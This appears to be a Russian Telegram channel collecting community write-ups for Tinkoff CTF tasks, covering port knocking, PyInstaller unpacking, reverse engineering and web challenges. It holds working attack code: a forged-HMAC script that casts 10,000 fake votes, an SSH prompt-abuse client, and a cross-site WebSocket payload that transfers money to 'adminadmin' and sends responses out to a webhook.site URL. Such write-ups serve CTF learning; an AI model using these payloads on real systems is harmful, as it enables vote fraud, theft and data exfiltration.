решения задач по tinkoff CTF – Telegram
решения задач по tinkoff CTF
1.23K subscribers
29 photos
14 files
35 links
Здесь будут скидываться райтапы по заданиям по Tinkoff CTF.

Райтапы от других людей тоже приветствуются, по ним писать в ЛС: @EvgenyKurmysa
Download Telegram
райтап 2.0 от @himic5 с указанием авторов
Forwarded from HiMiC
Золотая Лопа

Отсылаем пакеты
knock --udp -v -d 10 45.82.152.190 228:udp 8080:udp 9090:udp 5555:udp 3306:udp 3000:udp 135:udp

открывается порт 11111

коннектимся к нему
nc 45.82.152.190 11111

Вводим токен команды.
Получаем флаг.

Авторы решения: @himic5 и @leonideath
Forwarded from Alexey Kirillov
Корпоративный шпионаж
По иконке понимаем, что exe собран с помощью PyInstaller, распаковываем через pyinstxtractor, внутри узнаём точную версию Python (3.10.0rc2) из dll и декомпилируем с помощью pycdc vacuum.pyc. Внутри видим создание двух файлов caqqwe1.exe и fmzasde, причём второй через 0.4 секунды удаляется. Не дадим удалить файл с помощью выставления прав на директорию (работает в windows). caqqwe1.exe разбираем аналогично стартовому бинарнику, видим процесс импорта fmzasde, скачиваем конкретную версию embedded python для корректной работы marshal и выполняем в нём:
import marshal
import types

c = open('fmzasde.bak', 'rb')
pc = c.read()
c.close()

co = marshal.loads(pc)
m = types.ModuleType('name')
exec(co, m.__dict__)

# Here we can see methods
print(m.__dict__)

print(m.generate_passwd())
🔥3
Forwarded from Dan
import base64
import hashlib
import hmac
import json
import urllib.parse
from pathlib import Path
from dataclasses import dataclass, asdict

import requests

CONTESTANT_ID = "2384"
URL = "https://t-pageant-ekbooq0e.spbctf.net"
LOCALHOST = "http://localhost:63343/tinkoffCtf/web/miss_frod.html?_ijt=15d7vtc5mvmel9bkdhfjplqt9q&_ij_reload=RELOAD_ON_SAVE"
SECRET_KEY = bytes.fromhex("0b4162a45f8c74b4005a25d4c20b0158198c83b38462bd02e42cd18f9842dc83")


@dataclass
class User:
id: int
username: str
first_name: str
last_name: str
language_code: str

@staticmethod
def from_string(data: str) -> "User":
data = json.loads(data)
return User(
id=data["id"],
username=data["username"],
first_name=data["first_name"],
last_name=data["last_name"],
language_code=data["language_code"],
)

def serialize(self) -> dict:
return asdict(self)


@dataclass
class InitData:
user: User

def data(self) -> dict:
return {
"user": json.dumps(self.user.serialize(), ensure_ascii=False),
}

@property
def hash(self) -> str:
data = self.data()
keys = sorted(data.keys())
check_string = '\n'.join([f'{key}={data[key]}' for key in keys])
dig = hmac.new(SECRET_KEY, check_string.encode(), digestmod=hashlib.sha256)
return dig.hexdigest()

@staticmethod
def read_from_file(file_path: Path | str) -> "InitData":
file_path = Path(str(file_path))
lines: list[str] = [line.strip() for line in file_path.read_text(encoding="utf-8").splitlines() if line.strip()]
data = {line.split("=")[0]: line.split("=")[1] for line in lines}
return InitData(
user=User.from_string(data["user"]),
)

def save(self, out_path: Path | str) -> None:
out_path = Path(str(out_path))
out_path.write_text(json.dumps(self.data(), ensure_ascii=False, indent=2), encoding="utf-8")

def serialize(self) -> dict:
return {
**self.data(),
"user": urllib.parse.quote(json.dumps(self.user.serialize(), ensure_ascii=False)),
"hash": self.hash,
}

def to_string(self) -> str:
return json.dumps(self.serialize(), ensure_ascii=False)

@property
def tg_web_app_data(self) -> str:
return '&'.join([f'{key}={value}' for key, value in self.serialize().items()])

@property
def auth_token(self) -> str:
return base64.b64encode(('"' + self.tg_web_app_data + '"').encode()).decode()

def web_app_url(self, base_url: str) -> str:
return f"{base_url}#tgWebAppData={urllib.parse.quote(self.tg_web_app_data)}"

def mutate(self, step: int = 1) -> None:
self.user.id += step

def vote_for_contestant(self, contestant_id: str) -> str:
response = requests.post(
f"{URL}/api/vote",
headers={
"Content-Type": "application/json",
"Authorization": f"Bearer {self.auth_token}",
},
json={"contestant_id": contestant_id}
)
print(response.json())


def vote(contestant_id: str) -> None:
telegram_user = InitData.read_from_file("data.txt")
telegram_user.mutate(1000)
for i in range(10000):
telegram_user.mutate()
telegram_user.vote_for_contestant(contestant_id)


def main():
vote(CONTESTANT_ID)


if __name__ == '__main__':
main()
🤯4🔥2
Forwarded from Dan
data.txt

user={"id":332067775,"first_name":"test","last_name":"","username":"test","language_code":"ru","is_premium":true,"allows_write_to_pm":true}
Forwarded from Alexey Kirillov
25-й кадр
Видим кадр, не успеваем посмотреть. Поэтому запишем экран (sic!) и посмотрим покадрово. Видно, что ключ не влез в кадр, но видна строка, которую можно найти в ghidra. Находим, в каком месте её используют и видим, что ключ вычисляется. Воспользуемся фичей time-travel debugging в windbg, после чего посмотрим результат форматирования строки в памяти (отловим доступ на чтение форматной строки и пройдём по адресу из регистра).
😁5
Forwarded from Alexey Kirillov
Репкозиторий
В приведённой PDF заметен краешек флага, остальное перекрыто наклейкой. Используем любой векторный редактор с поддержкой pdf, например, adobe illustrator. Удаляем стикер, читаем флаг.
👍3
капибарное утро, продолжаем
8
Forwarded from Дмитрий
В репкозитории можно было просто стандартным adobe acrobat открыть и удалить стикер
Forwarded from Joseph Markelov
Тред Ариадны
Ищем расположение фоток - /static, название фоток прогоняем через sha256(от 1 до 5) и вставляем в ссылку вместо имени, так прогоняем все фотки пока не найдем нужный с флагом
#ИграСтолов

Принимает вопрос номер 4.
В ответ можно указывать любой символ.

В зависимости от номера вопроса происходило переполнение счетчика.
В зависимости от кода символа тоже было переполнение.

При вооде 4 в 34 запрос (Вроде выбор вопрос 17) было наиболее близкое число.
Далее символами в ответ задавали смещение.


const { Client } = require('ssh2');
const conn = new Client();

let i = 0;
conn.on('ready', () => {
console.log('Client :: ready');
conn.exec('i love memes', (err, stream) => {
if (err) throw err;
stream.on('close', (code, signal) => {
console.log('Stream :: close :: code: ' + code + ', signal: ' + signal);
conn.end();
}).on('data', (data) => {
console.log('STDOUT: ' + data);
}).stderr.on('data', (data) => {
console.log('STDERR: ' + data);
});
});
}).on('keyboard-interactive', (name, instructions, instructionsLang, prompts, finish) => {
const prompt = ((prompts && prompts[0]) ? prompts[0].prompt : '').split('\n')[0];
i++;
console.log(i, prompt);

if (/Password/.test(prompt)) return finish([''])

if (/question/.test(prompt) && i === 34) return finish(['4'])
// 52

if (/question/.test(prompt)) return finish(['1'])

// Подбор
if (/answer/.test(prompt)) return finish([`\u0018`]);
}).on('disconnect', (...data) => {
console.log('disconnect', data);
}).on('error', (...data) => {
console.log('error', data);
}).on('data', (...data) => {
console.log('data', data);
}).connect({
host: 't-darkshelf-7yhdavxe.spbctf.net',
port: 22,
username: 'grrm0e2714797f',
type: 'keyboard-interactive',
tryKeyboard: true
});
👍1
#Спичкотрон

1) Смотрим, что WS работал без авторизации.
2) Смотрим что форма вопроса просит урл.
3) Пробуем скормить webhook.site
4) Видим что заходит селениум
5) Заливаем на сайт html с отправкой денег через WS
6) Скармливаем URL страницы админу через форму


<noscript>
fetch('https://webhook.site/cdc945c2-0ea7-4325-b95a-aed21ec3fb5c?load')
var ws = new WebSocket(`wss://t-bank-5j36y2im.spbctf.net/ws`);
ws.onopen = () => {
console.log('Connected')
ws.send(JSON.stringify({"action":"balance"} ))
ws.send(JSON.stringify({
"action": "transfer",
"amount":2000,
"to":"adminadmin"
}))
};
ws.onmessage = (e) => fetch('https://webhook.site/cdc945c2-0ea7-4325-b95a-aed21ec3fb5c?' + (e.data))
</noscript>
👍1
Forwarded from Alexey Kirillov
CTF 2023
В скрипте видим, что шифрование симметричное, в generate_gamma генерируется массив по размеру шифруемого/расшифровываемого файла и xor'ится с ним.
Проблема во времени генерации "гаммы": в массив кладётся по 8 байт, которые являются результатом тяжёлых вычислений в цикле.
Представим n1 и m1 в виде последовательности f:
f[0] = 0, f[1] = 1, f[i] = u * f[i-1] - v * f[i-2]
тогда m1 для n будет f[n+2].
Воспользуемся wolframalpha и постараемся упростить (первый скриншот). Подставим a, b, x, y из файла задания, корни сократились до единицы, а в вычислении теперь участвуют только степень и параметры a и x.
Перепишем m1 * n1 в виде со второго скриншота, и подставим a и x. Получим (13 ** i - 12 ** i) * (113 ** i - 112 ** i).
Для степени из условия этого недостаточно, но мы видим, что само произведение у нас сразу урезается делением по модулю, поэтому используем алгоритм быстрого возведения в степень по модулю. Остаётся добавить заменённый код и запустить расшифровку.